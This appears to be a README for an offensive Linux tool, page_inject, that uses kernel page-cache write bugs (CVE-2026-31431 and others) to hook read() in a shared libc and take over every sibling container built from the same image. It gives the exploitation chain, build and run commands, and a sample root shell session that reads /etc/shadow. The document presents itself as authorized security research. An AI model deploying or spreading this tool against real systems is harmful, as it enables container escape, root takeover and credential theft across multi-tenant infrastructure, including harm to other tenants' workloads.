Linux page-cache injector for cross-container escape — pivot from one compromised container into every sibling that shares the same libc image layer. Multiple kernel write primitives: AF_ALG (CVE-2026-31431), ESP fragment (CVE-2026-43284), RxRPC (CVE-2026-43500), io_uring (CVE-2026-43494).
Runs inside an unprivileged container. Uses the AF_ALG authencesn ESN-rotation 4-byte arbitrary-write bug to plant a persistent read() hook in the page-cache pages of libc.so.6. Because Docker/containerd back overlayfs lower-layer files with shared inodes, those pages are visible to every sibling container from the same image — the hook fires in their processes too.
Threat model:
- Attacker has shell in one container, unprivileged uid, default seccomp, default AppArmor, no capabilities, no host mounts
- Only needs: read access to libc,
socket(AF_ALG),splice/vmsplice, a writable/tmp - Kernel must be vulnerable to CVE-2026-31431 (any
algif_aead + authencesnbuild prior to upstream fix)
Exploitation chain:
- Overlayfs containers share backing inode → page-cache write visible to all siblings
- AF_ALG authencesn ESN rotation parks 4 bytes into a spliced page-cache page (the vuln)
- Bootstrap Zone A — callable write primitive in libc's
.textcave - Install Zone C —
read()hook (prologue displacement + container registration + command loop) - Patch
read()with JMP → hook fires in every sibling on nextread()call - Command channel via page-cache CMD/OUTPUT areas — no network needed
- Unhook restores prologue, zeros slots, hook children self-terminate
This tool modifies the page cache of a shared libc. Incorrect usage or unexpected termination can leave the hook in a broken state, causing all containers sharing that libc to crash (SIGSEGV on any read() call).
Known crash scenarios:
- Killing page_inject mid-injection (partial hook write → invalid instruction at
read()entry) - Node memory pressure evicting hook pages before unhook completes
- Running against a libc with insufficient
.textcave space (tool detects this and refuses, but edge cases exist)
Recovery from a crashed state:
# On the affected node (requires host access):
echo 3 > /proc/sys/vm/drop_caches
# Then restart affected containersIf drop_caches is not possible, a node reboot clears all page cache state.
- Always test in an isolated environment first. Never run against production without prior validation on an identical staging setup.
- Ensure you can access the node. If the hook breaks libc, you need host-level access to run
drop_caches. Without it, affected containers are unrecoverable until node restart. - Run
unhookbefore exiting. The interactive shell'sunhookcommand restoresread()and lets hook children self-terminate cleanly. - Do not run multiple instances concurrently. Two injectors targeting the same libc will corrupt each other's hook state.
- Check cave size before injection. The tool checks automatically, but verify with
--dry-run(if available) on unfamiliar glibc builds. - Scope of impact: the hook affects ALL containers on the same node using the same base image. This is by design but means collateral damage is unavoidable in multi-tenant environments.
| Backend | CVE | Granularity | Collateral | Speed |
|---|---|---|---|---|
| AF_ALG (default) | CVE-2026-31431 | 4 bytes | 0 | ~10ms/4B |
| Dirty Frag | CVE-2026-43284 | 4 bytes | 0 | ~100ms/4B |
| RxRPC/rxkad | CVE-2026-43500 | 1 byte | 0 | ~50ms/B |
| PinTheft | CVE-2026-43494 | 4096 bytes | 0 | ~500ms/page |
make # assembles .asm sources via gen_arrays.sh, links static page_inject
make shellcode # produces inspectable .bin flat binaries
make clean # removes generated filesRequires: gcc (with -static support), nasm, make, hexdump.
Output: single statically-linked ELF (~870KB).
# Inject hook (default AF_ALG backend)
./page_inject /usr/lib/x86_64-linux-gnu/libc.so.6
# Alternative backends
./page_inject --rxrpc /usr/lib/x86_64-linux-gnu/libc.so.6
./page_inject --dirty-frag /usr/lib/x86_64-linux-gnu/libc.so.6
./page_inject --pintheft /usr/lib/x86_64-linux-gnu/libc.so.6
# Auto-detect libc path
./page_inject --root /
# Interactive shell (after injection)
./page_inject --shell --no-bootstrap=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
- Path A (default): Zone C + Zone A in libc's
.textcave. Slot/CMD/OUTPUT in.hashsection. - Path B: 36B trampoline in libc → full payload in ld.so's
.textcave. For glibc builds with small libc caves (Ubuntu 24.04 / glibc 2.39).
If neither fits, refuses cleanly without writing anything.
| Image | glibc | Path | Prologue | Slot region |
|---|---|---|---|---|
| debian:bookworm | 2.36 | A | cmpb | .hash |
| ubuntu:24.04 | 2.39 | B | cmpb | .hash (via rbp) |
| ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
| fedora:40 | 2.39 | A | cmpb | .hash |
| archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr |
- Original: sgkdev/page_inject by Massimiliano Oldani
- CVE-2026-31431 discovery and the AF_ALG authencesn exploit technique
- This fork: additional write backends, Kubernetes-focused testing
MIT. See LICENSE.
The original sgkdev/page_inject does not declare a license at time of forking. The MIT license applies to modifications and additions in this repository.
This tool is for authorized security testing and research only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal and may result in criminal prosecution.
